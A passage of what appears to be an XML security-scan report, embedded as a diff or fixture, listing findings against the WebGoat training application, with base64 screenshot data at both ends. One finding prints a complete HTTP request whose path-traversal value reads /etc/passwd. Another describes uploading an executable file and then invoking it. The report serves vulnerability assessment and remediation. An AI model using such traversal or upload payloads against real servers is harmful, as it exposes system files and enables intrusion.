Nq7JPu3/0y7N9G/ZrdrRpm8OK/FfFqGJRz1fFsXrIO3HtrMlqbmf9nV3v8MQGAhCAAMIp6YGRKOkP50zwuO1V3ac6IKIY3fhcu9khXc3HjefHzvHt2FT2VLZX7rezJivzWOFrhQ9VO55DAAIQ2CacRrcyo1uP7PYmenYckNEtihI36nk7cJVt9NwVK20u2Y1EZQCqmJ3bqCvqcsSR5TbKpReafT8ojqP1K/Jt8+n3WBHTihgjdqOe6GOucOtrmsXeC9zovVZ8nV4Z+Yj6T8XB+IAABL6TwBbhFH3yUwPdHaBKRGSixRE0bhyjA38kBqKfOXmMBrA60KMc71yXWUZHDap1VUImOg5GgqDiS70DDoes7872ZL9+9O9OjLPvkNo/4+fuucLHd44LsoYABP46o3ZgiD5tq6Exc/BFYmCUl2OrYmwHdZuns27HgM0GW8RAxeoOluqQdmqi9nYEUjbYnfWjGFqxqsRxJmwj3z2bSo0UsyxetyZVbu67rITSKpHoxuPa7Tg38QkBCDyDwBbh1B7UlYPItc3sMuyucOoHX7bueDZao9Zl+6jBmYkwp/Vc1qsGlzOgnSHaClclYCIOreBVe7qixBEnTj9koi+quRuj2/+rubnxObm7vly7ivh3+DnvHjYQgMCzCWwVTpWhW7FVwin7dOx8cnZFiRqEfWtU7GcPfiUERsNJiTRXZFXr4tQiYlbdK6vFLOtq/Grwupx3viurYnRzOcsw2mdFTdV78eyjn+ghAIFZAluE0/GJXh08zvPDVyZmehvH7xlxNIrJEUkV4dTerETDJYpD2Z/lU6mvO9j6eoz2qOw7eiFm17frlGCL6pYJQLfHnXfAqW21Jhk3h2kUU8ZkZa6V9yGrb/b+zh7ArIMABJ5HYItweh4GIr6awM4htNP3LKc7xuSI/dl8nXV3YXKXOBxm2EAAAp8n8H8xFjVj0EmWLwAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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